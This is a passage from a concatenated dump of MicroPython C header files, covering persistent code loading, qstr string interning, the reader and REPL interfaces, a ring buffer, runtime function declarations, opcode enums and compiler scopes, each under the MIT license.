the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_PERSISTENTCODE_H #define MICROPY_INCLUDED_PY_PERSISTENTCODE_H #include "py/mpprint.h" #include "py/reader.h" #include "py/emitglue.h" mp_raw_code_t *mp_raw_code_load(mp_reader_t *reader); mp_raw_code_t *mp_raw_code_load_mem(const byte *buf, size_t len); mp_raw_code_t *mp_raw_code_load_file(const char *filename); void mp_raw_code_save(mp_raw_code_t *rc, mp_print_t *print); void mp_raw_code_save_file(mp_raw_code_t *rc, const char *filename); #endif // MICROPY_INCLUDED_PY_PERSISTENTCODE_H ================================================ FILE: micropython/inc/py/qstr.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_QSTR_H #define MICROPY_INCLUDED_PY_QSTR_H #include "py/mpconfig.h" #include "py/misc.h" // See qstrdefs.h for a list of qstr's that are available as constants. // Reference them as MP_QSTR_xxxx. // // Note: it would be possible to define MP_QSTR_xxx as qstr_from_str_static("xxx") // for qstrs that are referenced this way, but you don't want to have them in ROM. // first entry in enum will be MP_QSTR_NULL=0, which indicates invalid/no qstr enum { #ifndef NO_QSTR #define QDEF(id, str) id, #include "genhdr/qstrdefs.generated.h" #undef QDEF #endif MP_QSTRnumber_of, // no underscore so it can't clash with any of the above }; typedef size_t qstr; typedef struct _qstr_pool_t { struct _qstr_pool_t *prev; size_t total_prev_len; size_t alloc; size_t len; const byte *qstrs[]; } qstr_pool_t; #define QSTR_FROM_STR_STATIC(s) (qstr_from_strn((s), strlen(s))) void qstr_init(void); mp_uint_t qstr_compute_hash(const byte *data, size_t len); qstr qstr_find_strn(const char *str, size_t str_len); // returns MP_QSTR_NULL if not found qstr qstr_from_str(const char *str); qstr qstr_from_strn(const char *str, size_t len); byte *qstr_build_start(size_t len, byte **q_ptr); qstr qstr_build_end(byte *q_ptr); mp_uint_t qstr_hash(qstr q); const char *qstr_str(qstr q); size_t qstr_len(qstr q); const byte *qstr_data(qstr q, size_t *len); void qstr_pool_info(size_t *n_pool, size_t *n_qstr, size_t *n_str_data_bytes, size_t *n_total_bytes); void qstr_dump_data(void); #endif // MICROPY_INCLUDED_PY_QSTR_H ================================================ FILE: micropython/inc/py/qstrdefs.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "py/mpconfig.h" // All the qstr definitions in this file are available as constants. // That is, they are in ROM and you can reference them simply as MP_QSTR_xxxx. // qstr configuration passed to makeqstrdata.py of the form QCFG(key, value) QCFG(BYTES_IN_LEN, MICROPY_QSTR_BYTES_IN_LEN) QCFG(BYTES_IN_HASH, MICROPY_QSTR_BYTES_IN_HASH) Q() Q(*) Q(_) Q(/) Q(%#o) Q(%#x) Q({:#b}) Q(\n) Q(maximum recursion depth exceeded) Q() Q() Q() Q() Q() Q() Q() Q() Q(utf-8) ================================================ FILE: micropython/inc/py/reader.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_READER_H #define MICROPY_INCLUDED_PY_READER_H #include "py/obj.h" // the readbyte function must return the next byte in the input stream // it must return MP_READER_EOF if end of stream // it can be called again after returning MP_READER_EOF, and in that case must return MP_READER_EOF #define MP_READER_EOF ((mp_uint_t)(-1)) typedef struct _mp_reader_t { void *data; mp_uint_t (*readbyte)(void *data); void (*close)(void *data); } mp_reader_t; void mp_reader_new_mem(mp_reader_t *reader, const byte *buf, size_t len, size_t free_len); void mp_reader_new_file(mp_reader_t *reader, const char *filename); void mp_reader_new_file_from_fd(mp_reader_t *reader, int fd, bool close_fd); #endif // MICROPY_INCLUDED_PY_READER_H ================================================ FILE: micropython/inc/py/repl.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_REPL_H #define MICROPY_INCLUDED_PY_REPL_H #include "py/mpconfig.h" #include "py/misc.h" #include "py/mpprint.h" #if MICROPY_HELPER_REPL bool mp_repl_continue_with_input(const char *input); size_t mp_repl_autocomplete(const char *str, size_t len, const mp_print_t *print, const char **compl_str); #endif #endif // MICROPY_INCLUDED_PY_REPL_H ================================================ FILE: micropython/inc/py/ringbuf.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_RINGBUF_H #define MICROPY_INCLUDED_PY_RINGBUF_H typedef struct _ringbuf_t { uint8_t *buf; uint16_t size; uint16_t iget; uint16_t iput; } ringbuf_t; // Static initialization: // byte buf_array[N]; // ringbuf_t buf = {buf_array, sizeof(buf_array)}; // Dynamic initialization. This creates root pointer! #define ringbuf_alloc(r, sz) \ { \ (r)->buf = m_new(uint8_t, sz); \ (r)->size = sz; \ (r)->iget = (r)->iput = 0; \ } static inline int ringbuf_get(ringbuf_t *r) { if (r->iget == r->iput) { return -1; } uint8_t v = r->buf[r->iget++]; if (r->iget >= r->size) { r->iget = 0; } return v; } static inline int ringbuf_put(ringbuf_t *r, uint8_t v) { uint32_t iput_new = r->iput + 1; if (iput_new >= r->size) { iput_new = 0; } if (iput_new == r->iget) { return -1; } r->buf[r->iput] = v; r->iput = iput_new; return 0; } #endif // MICROPY_INCLUDED_PY_RINGBUF_H ================================================ FILE: micropython/inc/py/runtime.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_RUNTIME_H #define MICROPY_INCLUDED_PY_RUNTIME_H #include "py/mpstate.h" #include "py/obj.h" typedef enum { MP_VM_RETURN_NORMAL, MP_VM_RETURN_YIELD, MP_VM_RETURN_EXCEPTION, } mp_vm_return_kind_t; typedef enum { MP_ARG_BOOL = 0x001, MP_ARG_INT = 0x002, MP_ARG_OBJ = 0x003, MP_ARG_KIND_MASK = 0x0ff, MP_ARG_REQUIRED = 0x100, MP_ARG_KW_ONLY = 0x200, } mp_arg_flag_t; typedef union _mp_arg_val_t { bool u_bool; mp_int_t u_int; mp_obj_t u_obj; mp_rom_obj_t u_rom_obj; } mp_arg_val_t; typedef struct _mp_arg_t { uint16_t qst; uint16_t flags; mp_arg_val_t defval; } mp_arg_t; // defined in objtype.c extern const qstr mp_unary_op_method_name[]; extern const qstr mp_binary_op_method_name[]; void mp_init(void); void mp_deinit(void); void mp_handle_pending(void); void mp_handle_pending_tail(mp_uint_t atomic_state); #if MICROPY_ENABLE_SCHEDULER void mp_sched_lock(void); void mp_sched_unlock(void); static inline unsigned int mp_sched_num_pending(void) { return MP_STATE_VM(sched_sp); } bool mp_sched_schedule(mp_obj_t function, mp_obj_t arg); #endif // extra printing method specifically for mp_obj_t's which are integral type int mp_print_mp_int(const mp_print_t *print, mp_obj_t x, int base, int base_char, int flags, char fill, int width, int prec); void mp_arg_check_num(size_t n_args, size_t n_kw, size_t n_args_min, size_t n_args_max, bool takes_kw); void mp_arg_parse_all(size_t n_pos, const mp_obj_t *pos, mp_map_t *kws, size_t n_allowed, const mp_arg_t *allowed, mp_arg_val_t *out_vals); void mp_arg_parse_all_kw_array(size_t n_pos, size_t n_kw, const mp_obj_t *args, size_t n_allowed, const mp_arg_t *allowed, mp_arg_val_t *out_vals); NORETURN void mp_arg_error_terse_mismatch(void); NORETURN void mp_arg_error_unimpl_kw(void); static inline mp_obj_dict_t *mp_locals_get(void) { return MP_STATE_THREAD(dict_locals); } static inline void mp_locals_set(mp_obj_dict_t *d) { MP_STATE_THREAD(dict_locals) = d; } static inline mp_obj_dict_t *mp_globals_get(void) { return MP_STATE_THREAD(dict_globals); } static inline void mp_globals_set(mp_obj_dict_t *d) { MP_STATE_THREAD(dict_globals) = d; } mp_obj_t mp_load_name(qstr qst); mp_obj_t mp_load_global(qstr qst); mp_obj_t mp_load_build_class(void); void mp_store_name(qstr qst, mp_obj_t obj); void mp_store_global(qstr qst, mp_obj_t obj); void mp_delete_name(qstr qst); void mp_delete_global(qstr qst); mp_obj_t mp_unary_op(mp_uint_t op, mp_obj_t arg); mp_obj_t mp_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs); mp_obj_t mp_call_function_0(mp_obj_t fun); mp_obj_t mp_call_function_1(mp_obj_t fun, mp_obj_t arg); mp_obj_t mp_call_function_2(mp_obj_t fun, mp_obj_t arg1, mp_obj_t arg2); mp_obj_t mp_call_function_n_kw(mp_obj_t fun, size_t n_args, size_t n_kw, const mp_obj_t *args); mp_obj_t mp_call_method_n_kw(size_t n_args, size_t n_kw, const mp_obj_t *args); mp_obj_t mp_call_method_n_kw_var(bool have_self, size_t n_args_n_kw, const mp_obj_t *args); mp_obj_t mp_call_method_self_n_kw(mp_obj_t meth, mp_obj_t self, size_t n_args, size_t n_kw, const mp_obj_t *args); // Call function and catch/dump exception - for Python callbacks from C code void mp_call_function_1_protected(mp_obj_t fun, mp_obj_t arg); void mp_call_function_2_protected(mp_obj_t fun, mp_obj_t arg1, mp_obj_t arg2); typedef struct _mp_call_args_t { mp_obj_t fun; size_t n_args, n_kw, n_alloc; mp_obj_t *args; } mp_call_args_t; #if MICROPY_STACKLESS // Takes arguments which are the most general mix of Python arg types, and // prepares argument array suitable for passing to ->call() method of a // function object (and mp_call_function_n_kw()). // (Only needed in stackless mode.) void mp_call_prepare_args_n_kw_var(bool have_self, size_t n_args_n_kw, const mp_obj_t *args, mp_call_args_t *out_args); #endif void mp_unpack_sequence(mp_obj_t seq, size_t num, mp_obj_t *items); void mp_unpack_ex(mp_obj_t seq, size_t num, mp_obj_t *items); mp_obj_t mp_store_map(mp_obj_t map, mp_obj_t key, mp_obj_t value); mp_obj_t mp_load_attr(mp_obj_t base, qstr attr); void mp_convert_member_lookup(mp_obj_t obj, const mp_obj_type_t *type, mp_obj_t member, mp_obj_t *dest); void mp_load_method(mp_obj_t base, qstr attr, mp_obj_t *dest); void mp_load_method_maybe(mp_obj_t base, qstr attr, mp_obj_t *dest); void mp_load_super_method(qstr attr, mp_obj_t *dest); void mp_store_attr(mp_obj_t base, qstr attr, mp_obj_t val); mp_obj_t mp_getiter(mp_obj_t o, mp_obj_iter_buf_t *iter_buf); mp_obj_t mp_iternext_allow_raise(mp_obj_t o); // may return MP_OBJ_STOP_ITERATION instead of raising StopIteration() mp_obj_t mp_iternext(mp_obj_t o); // will always return MP_OBJ_STOP_ITERATION instead of raising StopIteration(...) mp_vm_return_kind_t mp_resume(mp_obj_t self_in, mp_obj_t send_value, mp_obj_t throw_value, mp_obj_t *ret_val); mp_obj_t mp_make_raise_obj(mp_obj_t o); mp_obj_t mp_import_name(qstr name, mp_obj_t fromlist, mp_obj_t level); mp_obj_t mp_import_from(mp_obj_t module, qstr name); void mp_import_all(mp_obj_t module); NORETURN void mp_raise_msg(const mp_obj_type_t *exc_type, const char *msg); //NORETURN void nlr_raise_msg_varg(const mp_obj_type_t *exc_type, const char *fmt, ...); NORETURN void mp_raise_ValueError(const char *msg); NORETURN void mp_raise_TypeError(const char *msg); NORETURN void mp_raise_NotImplementedError(const char *msg); NORETURN void mp_raise_OSError(int errno_); NORETURN void mp_exc_recursion_depth(void); #if MICROPY_BUILTIN_METHOD_CHECK_SELF_ARG #undef mp_check_self #define mp_check_self(pred) #else // A port may define to raise TypeError for example #ifndef mp_check_self #define mp_check_self(pred) assert(pred) #endif #endif // helper functions for native/viper code mp_uint_t mp_convert_obj_to_native(mp_obj_t obj, mp_uint_t type); mp_obj_t mp_convert_native_to_obj(mp_uint_t val, mp_uint_t type); mp_obj_t mp_native_call_function_n_kw(mp_obj_t fun_in, size_t n_args_kw, const mp_obj_t *args); void mp_native_raise(mp_obj_t o); #define mp_sys_path (MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_sys_path_obj))) #define mp_sys_argv (MP_OBJ_FROM_PTR(&MP_STATE_VM(mp_sys_argv_obj))) #if MICROPY_WARNINGS void mp_warning(const char *msg, ...); #else #define mp_warning(msg, ...) #endif #endif // MICROPY_INCLUDED_PY_RUNTIME_H ================================================ FILE: micropython/inc/py/runtime0.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_RUNTIME0_H #define MICROPY_INCLUDED_PY_RUNTIME0_H // These must fit in 8 bits; see scope.h #define MP_SCOPE_FLAG_VARARGS (0x01) #define MP_SCOPE_FLAG_VARKEYWORDS (0x02) #define MP_SCOPE_FLAG_GENERATOR (0x04) #define MP_SCOPE_FLAG_DEFKWARGS (0x08) // types for native (viper) function signature #define MP_NATIVE_TYPE_OBJ (0x00) #define MP_NATIVE_TYPE_BOOL (0x01) #define MP_NATIVE_TYPE_INT (0x02) #define MP_NATIVE_TYPE_UINT (0x03) #define MP_NATIVE_TYPE_PTR (0x04) #define MP_NATIVE_TYPE_PTR8 (0x05) #define MP_NATIVE_TYPE_PTR16 (0x06) #define MP_NATIVE_TYPE_PTR32 (0x07) typedef enum { MP_UNARY_OP_BOOL, // __bool__ MP_UNARY_OP_LEN, // __len__ MP_UNARY_OP_HASH, // __hash__; must return a small int MP_UNARY_OP_POSITIVE, MP_UNARY_OP_NEGATIVE, MP_UNARY_OP_INVERT, MP_UNARY_OP_NOT, MP_UNARY_OP_SIZEOF, // for sys.getsizeof() } mp_unary_op_t; typedef enum { MP_BINARY_OP_OR, MP_BINARY_OP_XOR, MP_BINARY_OP_AND, MP_BINARY_OP_LSHIFT, MP_BINARY_OP_RSHIFT, MP_BINARY_OP_ADD, MP_BINARY_OP_SUBTRACT, MP_BINARY_OP_MULTIPLY, MP_BINARY_OP_FLOOR_DIVIDE, MP_BINARY_OP_TRUE_DIVIDE, MP_BINARY_OP_MODULO, MP_BINARY_OP_POWER, MP_BINARY_OP_DIVMOD, // not emitted by the compiler but supported by the runtime MP_BINARY_OP_INPLACE_OR, MP_BINARY_OP_INPLACE_XOR, MP_BINARY_OP_INPLACE_AND, MP_BINARY_OP_INPLACE_LSHIFT, MP_BINARY_OP_INPLACE_RSHIFT, MP_BINARY_OP_INPLACE_ADD, MP_BINARY_OP_INPLACE_SUBTRACT, MP_BINARY_OP_INPLACE_MULTIPLY, MP_BINARY_OP_INPLACE_FLOOR_DIVIDE, MP_BINARY_OP_INPLACE_TRUE_DIVIDE, MP_BINARY_OP_INPLACE_MODULO, MP_BINARY_OP_INPLACE_POWER, // these should return a bool MP_BINARY_OP_LESS, MP_BINARY_OP_MORE, MP_BINARY_OP_EQUAL, MP_BINARY_OP_LESS_EQUAL, MP_BINARY_OP_MORE_EQUAL, MP_BINARY_OP_NOT_EQUAL, MP_BINARY_OP_IN, MP_BINARY_OP_IS, MP_BINARY_OP_EXCEPTION_MATCH, // these are not supported by the runtime and must be synthesised by the emitter MP_BINARY_OP_NOT_IN, MP_BINARY_OP_IS_NOT, } mp_binary_op_t; typedef enum { MP_F_CONVERT_OBJ_TO_NATIVE = 0, MP_F_CONVERT_NATIVE_TO_OBJ, MP_F_LOAD_NAME, MP_F_LOAD_GLOBAL, MP_F_LOAD_BUILD_CLASS, MP_F_LOAD_ATTR, MP_F_LOAD_METHOD, MP_F_LOAD_SUPER_METHOD, MP_F_STORE_NAME, MP_F_STORE_GLOBAL, MP_F_STORE_ATTR, MP_F_OBJ_SUBSCR, MP_F_OBJ_IS_TRUE, MP_F_UNARY_OP, MP_F_BINARY_OP, MP_F_BUILD_TUPLE, MP_F_BUILD_LIST, MP_F_LIST_APPEND, MP_F_BUILD_MAP, MP_F_STORE_MAP, #if MICROPY_PY_BUILTINS_SET MP_F_BUILD_SET, MP_F_STORE_SET, #endif MP_F_MAKE_FUNCTION_FROM_RAW_CODE, MP_F_NATIVE_CALL_FUNCTION_N_KW, MP_F_CALL_METHOD_N_KW, MP_F_CALL_METHOD_N_KW_VAR, MP_F_NATIVE_GETITER, MP_F_NATIVE_ITERNEXT, MP_F_NLR_PUSH, MP_F_NLR_POP, MP_F_NATIVE_RAISE, MP_F_IMPORT_NAME, MP_F_IMPORT_FROM, MP_F_IMPORT_ALL, #if MICROPY_PY_BUILTINS_SLICE MP_F_NEW_SLICE, #endif MP_F_UNPACK_SEQUENCE, MP_F_UNPACK_EX, MP_F_DELETE_NAME, MP_F_DELETE_GLOBAL, MP_F_NEW_CELL, MP_F_MAKE_CLOSURE_FROM_RAW_CODE, MP_F_SETUP_CODE_STATE, MP_F_NUMBER_OF, } mp_fun_kind_t; extern void *const mp_fun_table[MP_F_NUMBER_OF]; #endif // MICROPY_INCLUDED_PY_RUNTIME0_H ================================================ FILE: micropython/inc/py/scope.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_SCOPE_H #define MICROPY_INCLUDED_PY_SCOPE_H #include "py/parse.h" #include "py/emitglue.h" enum { ID_INFO_KIND_GLOBAL_IMPLICIT, ID_INFO_KIND_GLOBAL_EXPLICIT, ID_INFO_KIND_LOCAL, // in a function f, written and only referenced by f ID_INFO_KIND_CELL, // in a function f, read/written by children of f ID_INFO_KIND_FREE, // in a function f, belongs to the parent of f }; enum { ID_FLAG_IS_PARAM = 0x01, ID_FLAG_IS_STAR_PARAM = 0x02, ID_FLAG_IS_DBL_STAR_PARAM = 0x04, }; typedef struct _id_info_t { uint8_t kind; uint8_t flags; // when it's an ID_INFO_KIND_LOCAL this is the unique number of the local // whet it's an ID_INFO_KIND_CELL/FREE this is the unique number of the closed over variable uint16_t local_num; qstr qst; } id_info_t; #define SCOPE_IS_FUNC_LIKE(s) ((s) >= SCOPE_LAMBDA) // scope is a "block" in Python parlance typedef enum { SCOPE_MODULE, SCOPE_CLASS, SCOPE_LAMBDA, SCOPE_LIST_COMP, SCOPE_DICT_COMP, SCOPE_SET_COMP, SCOPE_GEN_EXPR, SCOPE_FUNCTION, } scope_kind_t; typedef struct _scope_t { scope_kind_t kind; struct _scope_t *parent; #if !MICROPY_USE_SMALL_HEAP_COMPILER struct _scope_t *next; #endif mp_parse_node_t pn; // for small-heap compiler, points to the node after the scope index node uint16_t source_file; // a qstr uint16_t simple_name; // a qstr mp_raw_code_t *raw_code; uint8_t scope_flags; // see runtime0.h uint8_t emit_options; // see compile.h uint16_t num_pos_args; uint16_t num_kwonly_args; uint16_t num_def_pos_args; uint16_t num_locals; uint16_t stack_size; // maximum size of the locals stack uint16_t exc_stack_size; // maximum size of the exception stack uint16_t id_info_alloc; uint16_t id_info_len; id_info_t *id_info; } scope_t; scope_t *scope_new(scope_kind_t kind, mp_parse_node_t pn, qstr source_file, mp_uint_t emit_options); void scope_free(scope_t *scope); id_info_t *scope_find_or_add_id(scope_t *scope, qstr qstr, bool *added); id_info_t *scope_find(scope_t *scope, qstr qstr); id_info_t *scope_find_global(scope_t *scope, qstr qstr); void scope_find_local_and_close_over(scope_t *scope, id_info_t *id, qstr qst); #endif // MICROPY_INCLUDED_PY_SCOPE_H ================================================ FILE: micropython/inc/py/smallint.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_SMALLINT_H #define MICROPY_INCLUDED_PY_SMALLINT_H #include "py/mpconfig.h" #include "py/misc.h" // Functions for small integer arithmetic #ifndef MP_SMALL_INT_MIN // In SMALL_INT, next-to-highest bits is used as sign, so both must match for value in range #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_A || MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C #define MP_SMALL_INT_MIN ((mp_int_t)(((mp_int_t)WORD_MSBIT_HIGH) >> 1)) #define MP_SMALL_INT_FITS(n) ((((n) ^ ((n) << 1)) & 